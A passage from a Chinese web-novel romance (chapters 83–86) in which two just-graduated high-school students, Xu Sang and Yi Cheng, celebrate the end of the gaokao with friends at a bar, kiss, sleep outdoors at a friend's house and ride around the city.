他于是往这人身边靠了些,方便等会观摩观摩:得是多厉害的女孩、才能惹得这么个靓仔的喜欢。 提前交卷的身影终于对焦,由虚到实,进入了媒体镜头的中心。 长条话筒、小蜜蜂、红色扩音器将将要怼到脸上时,许桑脚步一顿,他淡淡地向外扫了一圈,冷淡的眼神化了些冰渣,显得有些温和。 他礼貌地弯了下身,示意:“让我走吧。”直起身子时,他正想从人群中逃离,就被一根长话筒直击面门。 许桑推开话筒:“……” 他叹了口气,尽量温声:“抱歉,有人等我。” 话落,他长腿迈开,艰难却坚定地避开人群,向树荫下、把叶缝间漏出的细碎阳光裁作外衫的人走去。 他笑道:“走?” 等候多时的男生终于抬起头来,微怔后,将手心里的单枝白玫瑰递了出去,笑说:“走。” 袁枫原地蹦起,没忍住失声而叫:“许桑?!” 第83章 第83章 【“2号和5号,喝交杯酒!…… 阳光光线强烈, 空气燥热难以流动,置身大烤笼中,即使才从空调屋里走出, 周身也不免染上热意。 许桑不耐烦地偏头,看清人时,面色才和缓,“袁老师。” 袁枫双手叉腰:“我不是明令禁止不准提前交卷吗?” 许桑眼波平静地看着他, 那底气足得,仿若提前交卷的不是他本人。 “哦, 好吧。”袁枫败下阵来, “忘了你骨头反着长的。考完就行了,好不好的不论,假期愉快!” 许桑轻一勾唇,同祝:“假期愉快。” “——考试结束……” 铃声打响,等待的家长堆老师群再也平静不下来,还哪管什么秩序不秩序的, 疯狂向大门口涌去。袁枫抽不开身,冲进人流时,回头看了眼。 许桑被那男生护得很好,没让任何人挨着碰着,而他手心里立着的白玫瑰,颜色清冷,似乎让这夏日火热都沾上薄荷叶,围绕其周身的热流跟着淡了下来。 这小子什么来头?管他的, 至少有人等许桑。 没等他评价完,脚趾就给踩了一脚。 袁枫挤眉弄眼地消化甲沟炎被踩的“极刑”痛苦,强装坚强地立起腰板等他班其他学生出来。 离开人群, 易承回头看了眼,从宣传辅导班的老婆婆手里顺了把花花绿绿的扇子,打着,笑说:“结束了。” “嗯。”许桑也跟着回头,易承手腕翻转而带出的风落了些脸颊,他重复了句:“结束了。” “对了。”易承把水拧开给他,“吕丁他们也来了,估计还有半小时下车。” 闻声,许桑挑眉:“你这么快?” “不然?”易承偏头顶了下他肩膀,“你又不是他们男朋友。” 许桑肩头轻晃,也跟着笑起来,不语,只仰头喝了一大口水。 “那我来安排地方。” 虽说是吕丁牵头说来青宁,但易承好歹被喊一声“易哥”,没跟许桑打招呼便带人来了……实在不好意思让许桑来安排。 他方才在地图上把周遭都研究了一圈,找到几个备选的,问:“如何?” “可以。”许桑把空瓶子扔垃圾筒里,手背擦过嘴角的水渍:“不过我有个地方。”- 晚上九点十分,Velvet Nook. 屋内整体光线偏暗,有彩色光束缓慢跳动,氛围轻挑而舒适。背景音乐正播放着经典曲目《The Sound of Silence》。 “哇哦。”吕丁在软皮沙发上坐下,四处张望,“这儿简直是我的梦中情地!” 同行的几人不由地抿紧嘴:“……” 许桑起身去吧台处跟调酒师说了两句话,转身看了眼偏右处搭建的台场,上面摆着各类乐器,可供客人随意使用。 收回视线,他回了座位。 今天高考彻底结束,酒吧内呈现出好久未见的拥挤与热闹,好似这一刻,全青宁的高三毕业生都拥了上来。 “考完再谈没什么意义了,但我必须吐槽一句,”吕丁举起手,“数学,太他妈难了!我,我在几何题就卡住了,然后后面全在编。要不要这么变态,我真是醉倒了。” “几何题就倒了?”梁意杉追上去,“不是才大题第一题?” “嗯??”吕丁满脑袋问号。 易承相当清醒,指节扣了下桌面:“卷子不一样。” “哦哦,对哈。”吕丁一拍脑门,“我差点魂儿吓没了。” 梁意杉恍然大悟:“忘了你们是旧高考。那你们两天就考完了是不是?好幸福。” “也就这点好处了。”吕丁嘟嘴,“不过我感觉你们的赋分制更幸福啊,听说考五十都能赋到八九十。” “那你们的题简单得多啊!”梁意杉追问。 “简单个毛线!”吕丁炸了,“难得我心肝脾背肾都废了,谁说简单我马上捏死他!” 梁意杉抖了抖肩:“……” 调酒师过来了一次,把几杯黑啤放在桌上后问道:“调酒的话,有什么需求可以告诉我。” “没怎么喝过,”吕丁偏过头大大方方地问,“有哪些类别呢?” 调酒师“嗯”了一会,化繁为简:“……再跟我说偏酸偏甜和度数。不满意我再调。” 吕丁点头:“哦。喜欢甜的。” 一圈问询下来,调酒师就先行离开了。 梁意杉别无可问,这桌上,就许桑跟他同一套卷子:“许哥,你觉得今年的题难度如何?” “一般。”许桑喝了口黑啤。 “一般是哪般?”梁意杉追道。 吕丁伸出食指左右摇晃,用整蛊的语气说道:“许哥的一般,是你的高不可攀。” 梁意杉瞪回去:“小丁,你这样是谈不到女朋友的。” 听到这话,吕丁佯装胸口中了一箭,他捂住胸口往后一仰,虚虚地喊道:“啊……” “谁还不会演了。” 说完,梁意杉站起身来,四肢摇摆后,呆住。两秒后,爆发:就像前方架了台加特林一样,胸口震颤,而后四肢抽动——这模样,看着还真像被几百发子弹一齐穿心而伤。 “牛逼啊。”吕丁终止自己的拙劣演技,“我愿称你为新一代奥奖得主!” 梁意杉拱手坐下:“承让承让。” 隔壁几个桌似乎都围着高三生,激情四射地批斗着高考卷,除此之外,就是隔三秒岔五秒的“输了,喝!” 陈慢才看完戏,不免有些闲,瞥见桌下放着的扑克牌,问道:“要玩游戏吗?” 吕丁大胆发言:“可以啊,高考完不放纵的人,就跟美女在怀还不硬的男人一样,不中用。” 他这一落,想玩的不想玩的,都一致地回答:“玩!” “国王游戏。”陈慢把小王和joker抽出来,洗牌时说道:“超简单游戏规则,随机抽牌,目前是1-6加大王。抽到大王的是国王,国王有权利命令符合条件的人做指定行为,简称惩罚。but,不可越界啊,咱都是正经人!” 说完,牌就摊开,自吕丁起顺时针抽取。 吕丁看到数字,顿时头秃:“啊呀,这运气烂得我想死。” 梁意杉挑衅地看向他:“啊呀,这运气好得我想死。” “有毛病啊你俩,跟大小无关。”陈慢作为主持的人,把反面朝上的牌往中间推去:“谁抽到大王了?这张你的牌。” 按顺时针抽取后,余留的一张牌归于抽到大王的人,意思是:国王很可能“惩罚”到自己。 许桑把大王牌翻面放在桌上,“3号,背三角函数积化和差公式。” 吕丁站起来:“…………” 梁意杉极会见缝插笑:“哈哈哈哈哈哈哈哈。” 易承食指拨了下许桑手背:“有点损了。” 他又多余补了一句:“不过我喜欢。” 许桑不语,只是浅浅勾了下唇,将调酒师才递上来的酒喝了口:酸中带涩,回味层次丰富,他说:“尝一口?” 易承端过,“好。” 喝了小口,他评价:“不错。” 吕丁憋了半天,才把那四条冗长的公式磕磕巴巴背完,背完坐下时,有种阳气被抽干了的感觉,他连忙扬起手:“继续,我要扳回一局!” 陈慢专业齐牌后,说:“抽。” 易承“啧”了一声,把国王牌推到中间,在吕丁期待眨巴的眼神冲击下,试探性地开口:“1号,背三角函数和差化积公式。” “我靠?”吕丁蹦起来,“我高考运气得有多好?一点儿也没留给今天啊。” 这回不止梁意杉,一桌子的人都跟着笑起来:“哈哈哈哈哈哈。” 好在才解放一天,没忘干净,肌肉记忆让四条公式挤牙膏式吐出来了,吕丁叹气:“两局,我简直沦为了许哥易哥的数学公式提取机器。” 陈慢漫笑之余不忘洗牌,说道:“抽。另外,除了单人惩罚,还可以双人互动哈。” “双人?”刚说完,吕丁就激动得连环起跳:“你猜怎么着?大王,终于让我抽到了!” “看我不折磨死你们!”他昂起高傲的头颅,闭眼虚空一点,“那,2号和5号,喝交杯酒!” 梁意杉把4打出去:“害,我以为多炸裂的惩罚呢。” “都是朋友,好说好说。”陈慢把1推出去。 赵鸿途则慢悠悠地把6翻过面来,“好巧,不是我。” “我靠?”吕丁还没抽回属于自己那张,两股战战地去摸,嘀咕道:“不论跟许哥还是跟易哥喝交杯酒,我感觉都要死……我这嘴,是真贱——” “诶,这嘴巴长得好。”看清数字之后,吕丁顿时不慌了,“3号不愧是我幸运数字。” 于是这桌的视线焦点落向并排而坐的两人。 易承“啧”了一声,端起酒杯,“小丁,这样的话,下局我就盯着3号喊。” 吕丁后腰板挺得笔直,笑得有种太监的谄媚:“别啊,易哥。” “喝?”易承伸出手,半遮半掩着眼底的笑意,把酒杯递到许桑面前。 许桑也不作多余的扭捏:“喝。” 两人手臂相交,酒杯环状落稳,两张脸也因这动作、距离骤然拉近。他们紧锁着彼此的眼睛,在流光溢彩中垂眸,饮酒。 吕丁眯眯眼,小声自言自语:“竟然有些般配——呸,我说什么屁话呢。” 十秒后,两人神同步地撤回到正常的距离处,都没发表感言。 梁意杉把偷拍到的照片看了两遍,看了眼易承的侧脸:屁的惩罚啊,大大的奖励好吧! 陈慢苦逼地继续洗牌,“亲爱的们,来抽!” 吕丁摸到牌,偷摸摸地瞥了一眼,暗暗拍胸脯:还好,不是3。 许桑把大王牌推到中央,似把易承的话回顾了遍,他微微倾身,下巴一抬,指向那处台场,温和开口:“3号,上台唱首歌吧。” 易承看着许桑眼里的光,也跟着笑,不过等他慢吞吞地低头看牌,他就笑不出来了: 黑桃三。 易承扶额:“……” 第84章 第84章 【“你是我的。”】…… “3号, 呼叫3号。”吕丁的开心溢于言表,“让我看看我的幸运数字成了谁的好运?” 又同方才一样,每个人依次把抽到的牌摊开, 直到易承要笑但笑不出来地把黑桃三.反扣在桌面,唏嘘声乱七八糟。 “好哇,”吕丁点评一句,“今天是只逮着我和易哥薅啊。” 许桑顿了一下, 低声问道:“要换个吗?” “不用。”易承多看了眼许桑面前的“大王”,跟他咬耳朵:“想听我就唱。” 耳垂布上湿热, 许桑指尖一缩, 不自然地别开眼,低声:“好。” “易哥,加油。”吕丁抬头看了一圈现场的情况,几乎每一桌都摆满了人,但毕竟是学生居多,尤其是考生性质还未完全脱落, 产生的噪音没想象中的大……但毕竟台下坐着这么这么多的人,莫名其妙上去唱歌,先不说好不好听,光是站上去,就是某些社恐星人的灭顶之灾。 “嘶。”吕丁起身扒拉了下易承,“易哥,你不怕尴尬的吧?” 易承扯出一抹笑:“……” 他问道:“说怕你替我去唱?” “那算了,我走音, 要是因为唱歌祸害到别人、以至于死后下了地狱,我会痛苦几辈子的。”吕丁拍拍他的肩,“没事, 易哥,你是最棒的!” 他这话说完,后面几个人也全都作出加油鼓劲的手势,陈慢配音:“易哥勇敢飞,我们永相随。” “啧。”易承气笑了,径直走到那位看着像管理台场的人面前,说了句什么。 半分钟后,那位女生走到台上,甜滋滋地说道:“有位帅哥刚才不幸输了游戏,两分钟后会上台唱一首歌,欢迎大家捧场!” 现场气氛立马燃荡起来,搞得温和的光束都激情起来了。 “帅哥?我都身经百战了,估计得帅到无法无天才能入我的眼。” “上次也说有个帅哥输了要唱歌,结果那帅哥,我不好意思直说他丑,只能说:猩猩系长相?原始人那挂?给我都整笑了。” “是那一桌的吗?我刚上厕所路过过,好似确实有帅的,但没看太清,那灯遮得还挺紧实。” “兄弟们,来猜一把,到底是帅的还是一般。输了自罚一杯加上去要微信。” “来来来!” …… 气氛被带动后,台场上的灯光暗下来,只能隐隐看清有个身影走了上去,坐在高椅上,长腿轻松点地。此时正抱着把吉他,在调音。 吕丁把手机打横,开启录像模式:“这是易哥?轮廓都帅得我血脉喷张!” 赵鸿途学术性皱眉:“你这词用得好别扭。” “吉他吗这是?”陈慢也转身看去,“易哥会这个,之前怎么没听过?” “嘿哟。”梁意杉笑完,转移阵地,浅浅霸占了两秒易承的位置,小声问许桑:“嚯,易哥不会就是这样迷到你的吧?” 许桑扫了他一眼,“滚回去。” “那看来跟正确答案沾点边了。”梁意杉邪笑着,麻溜挪回自己的位置,手指挠着下巴:“哎呀呀。” 灯光还未亮起,但场内却像被台场上一个身影给震慑住了般,奇迹般地安静下来。而在这之中,易承轻拍了下话筒,淡声:“一首《晴天》,送给我亲爱的朋友们。” 话落,他看向许桑坐着的方向,无声一笑。 “啊啊啊!声音,这声音好听啊!” “求求,别乱几把叫,打扰我欣赏艺术了!” “安静,嘘,都给我安静,沉浸式听曲,别打扰人!我要听!” 熟悉的前奏慢慢流出,节奏与律动逐渐杂糅上现场的小声跺脚拍手,易承指尖灵活划动,被昏暗而遮挡住的眸光温和而平静,他轻勾唇,扫了眼台下后,咬词。 惊呼声此起彼伏,却都极度压抑着,生怕干扰了台上这位便无乐可听。 负责督台的女生,“嚯”地张圆了嘴。 方才初见这个男生时,她愣是没敢抬起头,众所周知,见到神颜,一般人是不太敢直视的,尤其是异性……那男生讲完需求后,提了个小要求:“不开灯,可以吗?” 她气都不敢换,只是感觉周身的空气都变得甜而暖,疯狂点头:“可以,当然可以。” 此时,听着偶尔冒头的尖叫和惊呼,她走到后台调灯处,什么话都忘了,咬牙一横,“啪”地拍亮了一盏淡蓝色氛围光束。 台上的身影瞬间着了实,被光影镀边,那人仿若生了光辉,在一片昏黑之中有了形状与轮廓。 易承怔了一秒,但很快找回节奏,继续将最后半分钟的弹唱进行完。 “我操操操操!这就是高考完的幸福吗?我煎熬了三年,这是我应得的!” “谁输了,快,我命令你立刻马上给我要到联系方式!” “我就说声音骗不了人的,绝对是个帅哥。但凡有这种货色来骗我钱,我甘心把祖宗十八代的财产全部给他……” “看他的手,青筋诶,感觉很有力,好想被他牵!” “唱什么呢?听不懂,只想亲。” “我猜他有腹肌,你看那锁骨好漂亮。不是,这侧脸居然这么精致,想在哥哥的鼻梁上滑滑梯。” …… 讨论大肆蔓延开,尤其是易承把吉他放下,鞠了一躬下台之后。 伴着掌声,愈发露骨的言语钻进耳朵,许桑淡淡地看着正跟一群人笑眼谈欢的易承,不知不觉地,指尖微微攥紧,他端起桌上的酒,眼神铁板一样钉在易承身上,仰头喝酒。 一杯喝完,也没见易承有要回来的意思,他视线一偏,将易承那杯也滚进腹中。 “易哥真会招蜂引蝶啊。”吕丁酸酸地看着那头,“瞧这姑娘、等等,怎么还有一排男的?里三层外三层,我是不是该把易哥的作业本收集起来,万一以后他走什么偶像路线呢!” “卑鄙了啊,”陈慢反驳,“君子爱财,当取之有道。” “这是超强的预判能力兼资产评估能力。”吕丁跟他碰了个酒,转头笑说:“许哥,我说的没错吧?” 许桑冷冷地扫了他一眼。 吕丁一缩脖子:“……”后背有点凉是咋个回事。 梁意杉在一旁看趣,啧啧了几声,心说:当初他在南城遇到戴口罩的易承,就跟现在这些人一样……只是没那么大胆。 哦,也没机会动手,念头就被掐灭了。 易承终于冲出重围,弯身,双手撑在桌上,笑问在座的几个:“如何?” 吕丁拍手:“我愿称你为灵魂歌手、天籁之音!” “好听好听。”赵鸿途和陈慢也跟着和道。 梁意杉摇着酒杯点点头:“台下的尖叫声里,我是主力军。” 唯独只有许桑没说话,在易承的再次询问下,他才风轻云淡地评了句:“很棒。” 自台场一经使用,便开始有人自告奋勇上去献唱一曲,特别是有几个女生,很专业,歌声加舞蹈,瞬间吸走了大半的注意力。 于是国王游戏也没再继续,端着形色酒杯的一桌人都转过身听歌看表演。 吕丁捧着脸看台上的美女唱歌:“有种易哥起到抛砖引玉作用的感觉,虽然这块砖就是玉做的。” 陈慢跟了一句:“这嗓音甜甜的,有种葡萄糖的感觉。” “葡萄糖?”吕丁疑惑地重复。 赵鸿途张口就来:“葡萄糖是一种多羟基醛,分子式为C6H12O6,在生物体内,主要以环状的吡喃式结构存——” 陈慢长叹:“我是说葡萄味的Q.Q软糖。” 众人:“……” 表演逐渐升温,越来越多的人参与进去,人群也打成一片,似乎缺乏了那些扭捏的属地意识。 “帅哥,加个微信吧?” “小帅哥,我送你杯酒,能看看你腹肌吗?” “可以再唱一首歌吗?真的很好听。” ……这是丧失“属地意识”的负面影响。 易承起身,把自己那杯仅剩两三口的酒杯端起来,隔空跟这些人碰了一个:“抱歉,都不行。” 除了几个脸皮厚些、仍在纠缠的,大部分的人都悻然离开。 许桑所坐的位置,光线并不显然,加之他抵着沙发靠背,让人看不太真切。只能看见他微微仰头,手指搭点着那杯黑啤,目光黏在易承的背上,时不时会微眯眼睛而后喝一大口酒。 易承应对完最后一个男生,弯身把酒杯放下,“我去趟厕所。” “嗯。”许桑沉声回道。 这间酒吧是独间厕所,安装有扩香机。拉开门后,先是一面精致的半身镜,大概是方便女生整理妆容;往里一些,才是厕所,配备洗手台,亦有一台镜子。 易承拉开门,正欲关上,忽然就被拽住T恤领口,还没看清来人,灯被骤然拍灭。身前的门被带上,“吧嗒”一声被反锁上。 攥着领口的强力让他受不住地往后退,背部抵上光洁的墙面,若非与他后脑勺持平的地方恰好有块毛毡,估计得磕出脑震荡……易承轻敛眉,有偏重的呼吸洒落在他鼻尖,他一紧喉咙,下一秒,下巴便被猛地抬起,混满酒液馥香与冰块冷凉的唇“砸”落,重重地磕在他唇瓣之间。 易承来不及吞咽,下巴连接颈项之处被指尖按着,他被咬得浑身一颤。 “嘶——” 声才发出个开头,就被强势掐断。 易承忍不住地想:那人还没来得及碰到他时,他便知道来人是许桑了。只是,没想到是来…… 吻技相当凌乱,除了咬他,没别的手段了。不过似乎带了很浓厚的情绪,激发狼性了一样,那劲儿,像是想要将他拆吃入腹。 易承被撩拨得心头发痒,趁机按住许桑的手腕,在对方半秒的怔愣中,精准挑力、他折过许桑的两手腕,扣紧的瞬间将许桑推向墙面,将按实的手腕压在他头顶的墙壁上时,左手托住他后脑勺。 怕许桑挣脱,易承屈膝顶在他两腿之间,收回左手时,他歪头吻了下去。 吻得很重,跟许桑刚才的力道完全旗鼓相当。但可能在这事上也存在天赋之别,他确实比许桑吻得更深更沉。 吻时,易承手下移,掀起他的白衬衫,手指精准掐握住他侧腰,微微用力,就听许桑唇间难以遏制地溢出一声闷哼:“嗯……” 他满意地加深这个吻。 眼神虚焦之时,许桑终于喘得上气,但双腿已经软了一大截,他险些滑跪到地上,幸而易承一直按着他。 “喝这么多?”易承嗓音很哑,似还沾了些未消的情.欲。 许桑深喘着,连着吞咽几次才说道:“还好。” “说谎。”易承将他双手放下,还贴心地按揉了两下,铺满热气的双唇张合,“怎么突然这样?” 许桑想细细地看易承的脸,但奈何灯是他自己关的,只余墙角处夜灯模式的暗光,勉强能将人的五官照清楚。 他偏了下头,说得很小声:“你是我的。” 易承愣了好一会,才灿然一笑。 两人贴得很近,因笑而产生的胸腔颤动几乎完整地传导过来,许桑切切实实地感受着这个笑。 易承不由地又捏了下他的腰,听到许桑发出的哼声,又笑了: 他就说,为什么下台之后,几次跟许桑说话,许桑都冷得有些不正常,原来原因在这。 想着,他把笑意渡到声线里:“嗯,我是你的。” 说完,他很轻很柔地吻下去,像是在作画,笔触柔和、笔法灵活。艺术家总是有一些怪癖或是怪诞的追求,就像易承此时忍不住去挑逗许桑的舌尖。 “嘶。”许桑舌尖一颤,被释放后的手想推开他,却被易承狠地抓腰,他周身一抖,只能静下心来、笨拙地去回应这个吻。 “怕疼啊?” 数不清几分钟后,易承摸到门边把灯拍开,却第一眼看清许桑眼尾的绯红以及未被拭去的那滴清泪,伸手拂过后,问道。 “没。”许桑不自在地别开眼,“上你的厕所,我先出去。” 说完,他便要拉门出去。 被易承一把拉住,而后是对方好听的声音:“等会。” 许桑先看了眼自己红印尚在的手腕,视线缓慢上移,落在他脸上:“嗯?” 易承轻声:“我不想别人看到你这副样子。” “哪副样子?”许桑有些不解,“见不得人?” “不是。”易承又将他扫了一眼。 白皙的皮肤染上薄红,眼眸像才经水洗过,还带着润泽般的透亮;更别说那双唇,微微发肿,颜色比平时都要明显,似还残留着水痕,极有光泽。 这副样子出去……反正易承不愿意,他笑道:“反正,你要出去,我就继续亲。” 许桑欲言又止:“……” 他起身到洗手台处,轻声回道:“我等你。” 第85章 第85章 【“遇见你,也是我生命的意…… 考完好好放松, “不熬通宵誓不罢休”是这酒吧里一大众刚毕业考生的共同期许,但面前这桌有陈慢在场,便有他操不完的“天下父母”心。 “太晚回去不太好吧?”陈慢见是个小胖上台在唱, 没兴趣地转身,“这都过十二点半快一点了,而且还在青宁市,咱人生地不熟, 会不会不安全?” 吕丁把喝完的空酒杯晃一晃:“慢慢,劫财劫色都跟你沾不到边儿吧, 慌个毛线。” 陈慢默住:“……” 他寻思半天发现很难回怼, 只好使一招围魏救赵:“那就当是保护易哥喽?” “你这话说的,”吕丁往嘴里丢了颗番茄味妙脆角,咵咵一嚼,“易哥一个顶一帮,还用我们来保护?” “……”陈慢又说不出话,转头就见易承拉着许桑走回桌前, 正巧此时胡乱走位的光束往这边刺了一道,恰巧照亮易承的脸,他顿时一瞪,两手指并拢往外一指:“易哥,你嘴怎么了?都破皮了,这种地方还有乱打乱杀的?” 易承歪头,“什么屁话。” 这么明显?许桑跟着看了一眼,留意到他下唇那处明显的咬痕, 坐下时嘴角勾了一抹笑。 陈慢终于找到吕丁话里的破绽,连忙怼向他:“你看,上个厕所的功夫都能把嘴磕到, 易哥可不就需要保护吗?” “磕嘴上?”吕丁看不太清,伸长脖子脸差点跟易承的脸贴上。 易承一头雾水地推开他脑袋,“毛病?” “没没没。”吕丁坐回去,“慢慢说再不回去不安全,一天到晚操不完的心,我说慢慢一毕业就能继承老徐的衣钵,这老妈子劲儿,太对味!” “谁老妈子了,你自己动脑子想想,”陈慢转过头来说:“周边酒店剩的都是些住一晚上倾家荡产的,再不找找估计晚上得在公交站台打地铺,蚊子一网一网的,睡得安生吗你?” “得了。”梁意杉打断他俩的日常拌嘴,说道:“要不去我家?” “你家?”吕丁看向他,“咱关系好到能进门了?” 梁意杉一哽:“……” 他往前坐了些,“你脑子高低有点毛病,我的意思是,借住一晚,都是朋友不收房费,关键是好不容易我妈不在家。而且明天正好带你们出去玩,青宁可比你们南城好玩多了。” “嘿,还搞地域歧视!”吕丁找到点就一顿猛攻:“考政治你九成九不及格,毫无政治觉悟。” “没政治觉悟怎么了,老子选的全理,”梁意杉怼上去:“能撼动我高考成绩半分?” “行了。”陈慢把两人拉开,看向易承,“易哥,你觉得呢?” “你们腿长我身上吗?”易承晃了圈酒杯,“还要我觉得。” 吕丁陈慢面面相觑:“……” 收拾完东西将近一点半,几人站在门口,在一堆人流里抢占寥寥无几还满员的出租车。 打车软件转了快三分钟的圈都没人接单,吕丁又多摁了几种车型:“不是一般都玩通宵吗?怎么这个点要回家的人就这么多?” “怎么说呢,”梁意杉用肩头肘了他一下,“青宁人口是要比南城稠密一些,诶,不是一些,是很多很多。” “有完没完,信不信我十几天后大学跟你填,天天缠着你扭着你讲南城三千年历史,不瞌睡死你我不叫吕丁!” “那什么,安静点。”陈慢往他俩中间一拱,雨露均沾地拉开两人的距离:“瞧对面眼睛都黏我们身上了,拜托你们闹的时候考虑考虑我们的面子。” “咱俩吵翻天了对面的视线都不见得全落咱身上。”梁意杉向下瞄了眼手机,一合掌,“打到了!那什么,许哥知道我家,除易哥外都跟我一个车,等会我家门口汇合!” 许桑抬眸看了他一眼:“好。”- 凌晨一二点,这个时间段内,整个城市在潜热闹里繁华着。车窗半摇下,总算有些凉意的风灌进来,拂在脸上,温热里杂了一丝罕见的凉。 易承伸手,任风从指尖撩过,带来一阵软乎乎的舒适,他轻笑,转头对许桑说道:“我妈年轻时跑过许多城市,听她跟我讲,怀我那几个月,天南海北的跑,一点不消停。说我的阅历超过百分之九十九的同龄人,尽管我回想不起一点。” 夏天的风没有固定的形容词,但顺着易承嗓音过来时,许桑觉得:这一刻,他爱上了夏天。 他脑袋偏了些,以便接住易承的所有言语,听得很认真。 “到我两岁时,她不知道跑哪犄角旮旯里,说是找不到回家的路了,便跟我爸在那边住过一段时间。上个学要翻山越岭,有次遇到山蛇,她说,但凡我不哭那么一声,她就下意识把我甩出去祭蛇了。” 许桑笑出声来,肩头笑得轻颤。 “我一点不记得,只听她讲:幼儿园时间那么短,但我换了四五个地方上学。后来她怀上秋秋,实在跑不动了,才回南城安定下来。之后,便没再出去过……我曾以为,南城便是我的余生了,没想到,有朝一日,我会走出来,吹到来自其他城市的风,喜欢上来自其他城市的人。” 许桑微一偏头,看着易承望向窗外的侧颜,“遇见你,也是我生命的意外。” “嗯?”易承偏过头来。 “但凡前几年的我听话一些,”许桑小声说道:“便不会有去到南城的机会。也算是我主动争取?” “啧。”易承笑了,他指尖挑了下许桑下巴,“那你这算是因祸得福?” 有种大官的儿子,不务正业叛逆捣蛋被贬荒山却遇上良人的感觉。 许桑拨开他的手,“嗯,是。” “这话我爱听。”易承笑着看了眼出租车计价表,瞄清楚还有1.7公里后,小声说了句:“我妈说,了解一个城市的最好出行方式,就是坐公交。” 许桑想了想:“有道理。” 易承握上他的手,挠巴挠巴:“那你不邀请邀请我?” 许桑挑眉:“不怕我把你带丢了?” “不怕。”易承笑说。 “好。”许桑看向窗外,霓虹灯不灭,夜晚的城市可比白日里平易得多,有种切实且可触的美,他勾了下唇,把易承的手握紧了- “我的个乖乖,”梁意杉站在客厅里,“家里没这么多双备用鞋。你们直接进直接进,反正我不拖地。” “说了跟没说一样。”吕丁看了眼屋内的陈设:“哟,你家有钱啊!” “嗯,”梁意杉换上脱鞋,去端了几瓶可乐出来,“许哥家更有钱呢,只是不方便带人回去。” 赵鸿途呆头呆脑问了句:“为什么?” “许哥跟家里关系不是很顺溜。”梁意杉没多说,只浅浅带过便转开话题,“快,你们看外面!” “什么?” 窗外是片树啊草啊花啊,小串彩灯从树头穿过,就跟萤火虫屁股有序排列一样,隔小段距离有点光亮,在黑蓝色的天幕下、浓绿色的叶丛间、浅褐色的土壤上显得极有氛围。 “怎么了吗?”吕丁看半天没看出什么名堂,“搞这么浪漫,你女朋友要来?” “不是。”梁意杉一走神便晃着可乐灌,回神扣开时,炸自己一脸,他手忙脚乱地收拾着,“你们想不想出去睡?” 几个人齐刷刷地回头看向他:“……” 但两分钟后,暂时没用的席子、床垫都被拖了出去,在院子充足的空间里一字排开,上面丢了几床单薄的搭被。 “嘿哟喂,我还是第一次睡露天觉!” “可以啊,这就叫以天为被、以地为床?” “那什么,今晚星星还挺多,有氛围了。” “下面请欣赏吕丁大师的即兴诗词:朗朗星空下——啊,易哥!” 易承脚步一顿:“……” 他偏头看了眼许桑,两人眼里是一致的不解。 “你们这是?” 梁意杉则双手往旁边一引:“这边是你俩的,快来睡!头顶有可乐、橙汁,一伸手能够着。” “……”两人一脸懵地走过去躺下。 这个点,夜风多了些凉飕飕,撩过裸露的肌肤会带起一阵颤栗,把备用的薄被子搭上,便舒缓很多。 易承双手枕在脑后,“在这睡,确定不招蚊子?” “不招。”梁意杉坐起来,“放心好了。” “但愿。”易承躺了一会坐起来,把薄被子抻开,给许桑搭上,顺便也给自己带了一些。 “此情此景,我忽然想起,”吕丁翻了个身,“我英语语填,忘记双写再加ing了。” “滚吧你就。”陈慢连忙给了他一肘子,“考完了说有屁用。” 吕丁瑟缩:“这不感慨感慨嘛。” 慢慢的,说话的欲望被深夜吞没,夜灯是柔和的光线,在园内诸多物种间穿梭,像调皮的虫灯。明月高悬,今夜同星星光亮没什么区别,只静静地照着,慢慢失去轮廓。 耳边有蚊子的嗡嗡声,易承往被子里缩了些,还不忘把许桑也罩进来,睡了些时候,他伸手揽过许桑的腰,很紧地贴合上去,“晚安。” “嗯。”许桑手指点了下,算作回应。 今天夜与昼的界线不是由太阳打破的,是由一声“鸡鸣”打破的。 “我操操操!!” 吕丁一个鲤鱼打挺坐起来,“我脸上手上全是蚊子包!” 梁意杉:“你一吼,我也凭空长了几个包。” “不是,许哥易哥人呢?”陈慢坐起来挠挠脑袋,在晒屁股的阳光照耀下,眯瞪地揉着眼。 “他俩出去了。”梁意杉看了眼手机里的消息,“牛逼啊,6点发的消息。” “生物钟怎么不对我起效果。”吕丁看了眼手机时间,都快九点了,“搞得好像我高考前没努力一样。” “我是被蚊子吵醒的,”陈慢指了指面前的可乐、橙汁、酒,“看不清,把白酒当可乐,喝完又睡死了。” “那什么,许哥订的早餐在屋里。”梁意杉看了眼消息,“他俩出去玩了,我们等会也出发?” “好啊。”- “下站下车。”易承说了句。 许桑看了眼窗外,“不是尾站下车?” “嗯……”易承笑着弹了下他脑袋,“尾站下车,路线重了。” “哦。”许桑点头答道。 坐了几路公交,屁股都坐死了,两人才停下步子,在一家普普通通的菌汤火锅前坐下。 许桑按下第九通来自同一人的电话,把白玉菇吞下后,在缭绕的滚滚热烟中询问:“易承。” “你说。” 许桑轻声:“今晚跟我回家,还是单独开间房?” 第86章 第86章 【“你让我笑,我才笑。”】…… 许桑不常回家, 所以先查找了一下和林迟——高中前时常接他上下学的人——的聊天记录,时间调到三年前,才找到明确的地址。 离得有些远, 车程近一小时。 司机师傅在红灯前停下,打了个哈欠:“好久没接这么高强度的一单了。” 许桑易承对视一眼:“……” 想到什么似的,易承笑了下,说道:“没办法, 但凡我能半小时考个驾照,就来替您这班。” “哈哈哈哈……”司机启动车子, “我可用不着你替。每年回家过年, 我可是二三十小时连轴开,精力好着呢。” 转弯,他又说道:“你们刚高考完吧?” 易承点头:“才考完。” “看得出来,我最近接的最多的就是这批才考完的。”司机熟练地聊起天来,“我儿子明年才考。考得不错吧?” 易承想了想:“标准不一样,说不准不错还是不行。” “这话说得好。”司机笑呵呵的, “是不是过几天就要去学车考驾照了?” “未必。”易承往后舒舒服服地贴在靠背上。 “那得去旅游一圈喽?” 易承笑笑:“也不一定。” “那你们要干嘛?”司机不解地问:“我看他们都是这么规划的,还有什么别的路子?” 易承歪歪头:“或许。” “行吧,你看着就很有志向。”司机从中央后视镜看了眼,“你朋友话少,有点内向啊?” 易承偏头看了眼:许桑一直望着窗外,被视觉上不停后退的灯光描得立体的侧颜醒目,周身却缠裹着些疏离感,估计沉浸在自己的世界里。 他挑了下眉:“想听什么?我替他说。” 司机哈哈一笑:“你小子说话真有意思。很少遇到有能抬起头跟我唠唠嗑的孩子了, 都是低头噼里啪啦地玩手机,哎呀,好久没聊这么畅快了。” 易承轻笑:“不接您的话吧, 怕憋死您。” “哈哈哈。”司机把转向灯打开,打了弯才说话:“没人跟我说话我就听书,现在小说听着有意思极了。” “是吗?”易承问道:“我听听多有意思?” “好哇。”司机把单边耳机关了,声音调大外放。 